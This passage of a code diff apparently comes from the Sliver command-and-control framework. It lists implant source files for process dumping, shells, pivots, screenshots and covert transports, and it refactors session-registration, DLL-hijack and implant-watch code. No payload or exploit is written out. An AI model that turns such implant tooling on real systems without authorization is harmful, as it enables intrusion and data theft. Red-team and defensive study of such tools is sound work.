|
||||
"limits/limits_windows.go",
|
||||
"limits/limits_darwin.go",
|
||||
"limits/limits_linux.go",
|
||||
|
||||
"netstat/netstat.go",
|
||||
"netstat/netstat_windows.go",
|
||||
"netstat/netstat_linux.go",
|
||||
"netstat/netstat_darwin.go",
|
||||
"netstat/netstat_types_darwin.go",
|
||||
|
||||
"procdump/dump.go",
|
||||
"procdump/dump_windows.go",
|
||||
"procdump/dump_linux.go",
|
||||
"procdump/dump_darwin.go",
|
||||
|
||||
"proxy/provider_darwin.go",
|
||||
"proxy/provider_linux.go",
|
||||
"proxy/provider_windows.go",
|
||||
"proxy/provider.go",
|
||||
"proxy/proxy.go",
|
||||
"proxy/url.go",
|
||||
|
||||
"ps/ps.go",
|
||||
"ps/ps_windows.go",
|
||||
"ps/ps_linux.go",
|
||||
"ps/ps_darwin.go",
|
||||
"ps/ps_types_darwin.go",
|
||||
|
||||
"registry/registry.go",
|
||||
"registry/registry_windows.go",
|
||||
|
||||
"service/service.go",
|
||||
"service/service_windows.go",
|
||||
|
||||
"shell/shell.go",
|
||||
"shell/shell_windows.go",
|
||||
"shell/shell_darwin.go",
|
||||
"shell/pty/pty_darwin.go",
|
||||
"shell/shell_linux.go",
|
||||
"shell/pty/pty_linux.go",
|
||||
|
||||
"shell/pty/run.go",
|
||||
"shell/pty/util.go",
|
||||
"shell/pty/doc.go",
|
||||
"shell/pty/types.go",
|
||||
"shell/pty/ztypes_386.go",
|
||||
"shell/pty/ztypes_amd64.go",
|
||||
"shell/pty/ioctl.go",
|
||||
"shell/pty/ioctl_bsd.go",
|
||||
"shell/pty/ioctl_darwin.go",
|
||||
"shell/pty/pty_unsupported.go",
|
||||
|
||||
"shell/ssh/ssh.go",
|
||||
|
||||
"taskrunner/task.go",
|
||||
"taskrunner/task_windows.go",
|
||||
"taskrunner/task_darwin.go",
|
||||
"taskrunner/task_linux.go",
|
||||
|
||||
"priv/priv.go",
|
||||
"priv/priv_windows.go",
|
||||
|
||||
"pivots/named-pipe.go",
|
||||
"pivots/named-pipe_windows.go",
|
||||
"pivots/tcp.go",
|
||||
"pivots/pivots.go",
|
||||
|
||||
"screen/screen.go",
|
||||
"screen/screenshot_darwin.go",
|
||||
"screen/screenshot_linux.go",
|
||||
"screen/screenshot_windows.go",
|
||||
|
||||
"syscalls/syscalls.go",
|
||||
"syscalls/syscalls_windows.go",
|
||||
"syscalls/types_windows.go",
|
||||
"syscalls/zsyscalls_windows.go",
|
||||
|
||||
"transports/crypto.go",
|
||||
"transports/tcp-mtls.go",
|
||||
"netstack/tun.go",
|
||||
"transports/tcp-wg.go",
|
||||
"transports/tcp-http.go",
|
||||
"transports/udp-dns.go",
|
||||
"transports/named-pipe.go",
|
||||
"transports/tcp-pivot.go",
|
||||
"transports/transports.go",
|
||||
|
||||
"version/version.go",
|
||||
"version/version_windows.go",
|
||||
"version/version_linux.go",
|
||||
"version/version_darwin.go",
|
||||
|
||||
"winhttp/winhttp.go",
|
||||
|
||||
"sliver.go",
|
||||
}
|
||||
|
||||
// PURE GO only - For compiling to unsupported platforms
|
||||
genericSrcFiles = []string{
|
||||
"constants/constants.go",
|
||||
|
||||
"encoders/base64.go",
|
||||
"encoders/combos.go",
|
||||
"encoders/encoders.go",
|
||||
"encoders/english-words.go",
|
||||
"encoders/english.go",
|
||||
"encoders/gzip.go",
|
||||
"encoders/hex.go",
|
||||
"encoders/images.go",
|
||||
|
||||
"handlers/handlers_default.go",
|
||||
"handlers/tun-handlers.go",
|
||||
"handlers/handlers.go",
|
||||
|
||||
"shell/shell_default.go",
|
||||
|
||||
"hostuuid/uuid_default.go",
|
||||
|
||||
"limits/limits.go",
|
||||
"limits/limits_default.go",
|
||||
|
||||
"pivots/named-pipe.go",
|
||||
"pivots/tcp.go",
|
||||
"pivots/pivots.go",
|
||||
|
||||
"proxy/provider.go",
|
||||
"proxy/provider_default.go",
|
||||
"proxy/proxy.go",
|
||||
"proxy/url.go",
|
||||
|
||||
"transports/crypto.go",
|
||||
"transports/tcp-mtls.go",
|
||||
"netstack/tun.go",
|
||||
"transports/tcp-wg.go",
|
||||
"transports/tcp-http.go",
|
||||
"transports/udp-dns.go",
|
||||
"transports/named-pipe.go",
|
||||
"transports/tcp-pivot.go",
|
||||
"transports/transports.go",
|
||||
|
||||
"version/version_default.go",
|
||||
"version/version.go",
|
||||
|
||||
"sliver.go",
|
||||
}
|
||||
)
|
||||
@@ -60,14 +60,14 @@ func AddSessionHandlers(key uint32, value interface{}) {
|
||||
}
|
||||
|
||||
func registerSessionHandler(session *core.Session, data []byte) {
|
||||
register := &sliverpb.Register{}
|
||||
err := proto.Unmarshal(data, register)
|
||||
if err != nil {
|
||||
handlerLog.Warnf("error decoding message: %v", err)
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if session == nil {
|
||||
register := &sliverpb.Register{}
|
||||
err := proto.Unmarshal(data, register)
|
||||
if err != nil {
|
||||
handlerLog.Errorf("Error decoding message: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -78,10 +78,8 @@ func registerSessionHandler(session *core.Session, data []byte) {
|
||||
// Parse Register UUID
|
||||
sessionUUID, err := uuid.Parse(register.Uuid)
|
||||
if err != nil {
|
||||
// Generate Random UUID
|
||||
sessionUUID = uuid.New()
|
||||
sessionUUID = uuid.New() // Generate Random UUID
|
||||
}
|
||||
|
||||
session.Name = register.Name
|
||||
session.Hostname = register.Hostname
|
||||
session.UUID = sessionUUID.String()
|
||||
@@ -161,5 +159,5 @@ func tunnelCloseHandler(session *core.Session, data []byte) {
|
||||
}
|
||||
|
||||
func pingHandler(session *core.Session, data []byte) {
|
||||
handlerLog.Infof("ping from session %d", session.ID)
|
||||
handlerLog.Debugf("ping from session %d", session.ID)
|
||||
}
|
||||
@@ -37,12 +37,12 @@ import (
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
)
|
||||
|
||||
func (rpc *Server) HijackDLL(ctx context.Context, req *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
|
||||
func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
|
||||
var (
|
||||
refDLL []byte
|
||||
targetDLLData []byte
|
||||
)
|
||||
resp := &sliverpb.DllHijack{
|
||||
resp := &clientpb.DllHijack{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
|
||||
@@ -21,8 +21,8 @@ var (
|
||||
|
||||
func update(implantBuild *models.ImplantBuild) {
|
||||
if watcher != nil && initialized {
|
||||
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.Checksum)
|
||||
watcher.Add(implantBuild.Name, implantBuild.Checksum)
|
||||
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.MD5)
|
||||
watcher.Add(implantBuild.Name, implantBuild.MD5)
|
||||
watchtowerLog.Debugf("Implant added to the watch list")
|
||||
}
|
||||
}
|
||||
|
||||
Loaded 100 of 282 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user